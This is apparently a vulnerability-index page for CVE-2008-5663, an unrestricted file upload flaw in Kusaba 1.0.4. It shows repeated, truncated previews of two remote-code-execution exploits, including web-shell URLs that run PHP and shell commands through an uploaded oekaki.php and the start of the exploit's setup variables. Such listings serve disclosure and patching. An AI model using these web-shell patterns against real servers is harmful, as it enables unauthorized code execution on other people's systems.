Unrestricted file upload

Multiple unrestricted file upload vulnerabilities in Kusaba 1.0.4 and earlier allow remote authenticated users to execute arbitrary code by uploading a file with an executable extension using 1 loadreceiver.php or 2 a shipainter action to paintsave.php, then accessing the uploaded file via a dire...

CVE-2008-5663

Multiple unrestricted file upload vulnerabilities in Kusaba 1.0.4 and earlier allow remote authenticated users to execute arbitrary code by uploading a file with an executable extension using 1 loadreceiver.php or 2 a shipainter action to paintsave.php, then accessing the uploaded file via a dire...

Kusaba 1.0.4 - Remote Code Execution (2)

Kusaba 1.0.4 - Remote Code Execution 2 Will work if they have left the loadreceiver.php script un-edited. After execution: Yes these are the exact URLs http://www.kusaba.image.board/url/change this to the same value as your KUROOTDIRpost.php?pc=print "Hello";...

Kusaba 1.0.4 - Remote Code Execution (1)

Kusaba 1.0.4 - Remote Code Execution 1 After execution: http://www.kusaba.image.board/url/kasubaoek/oekaki.php?pc=print "Hello"; http://www.kusaba.image.board/url/kasubaoek/oekaki.php?sc=echo Hello / $shellname = 'oekaki.php'; // any filename ending in php $server =...

kusaba2-exec.txt

Will work if they have left the loadreceiver.php script un-edited. After execution: Yes these are the exact URLs http://www.kusaba.image.board/url/change this to the same value as your KUROOTDIRpost.php?pc=print "Hello"; http://www.kusaba.image.board/url/change this to the same value as your...

Kusaba 1.0.4 - Remote Code Execution (2)

Will work if they have left the loadreceiver.php script un-edited. After execution: Yes these are the exact URLs http://www.kusaba.image.board/url/change this to the same value as your KUROOTDIRpost.php?pc=print "Hello"; http://www.kusaba.image.board/url/change this to the same value as your...

Kusaba 1.0.4 - Remote Code Execution (1)

After execution: http://www.kusaba.image.board/url/kasubaoek/oekaki.php?pc=print "Hello"; http://www.kusaba.image.board/url/kasubaoek/oekaki.php?sc=echo Hello / $shellname = 'oekaki.php'; // any filename ending in php $server = 'http://www.kusaba.image.board/url/'; // BBS website, with trailing...